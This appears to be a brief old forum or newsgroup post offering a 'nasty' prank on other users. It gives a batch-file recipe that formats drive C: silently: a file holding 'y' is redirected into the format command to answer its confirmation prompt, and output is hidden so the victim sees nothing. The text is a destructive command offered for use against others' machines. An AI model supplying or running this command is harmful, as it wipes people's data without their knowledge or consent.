Be really nasty -
or fun for all the users

Create a file containing just the letter 'y' and called y  in the root
directory of C:
and run a bat file containing

format c: <c:\y >null
---------------

Instant formatting of partition c, no output to the screen, and the are you
sure message got the  'y' fed to it

-----------------
Only problem with more complex bat files is to make sure the y goes as a
response to the correct message
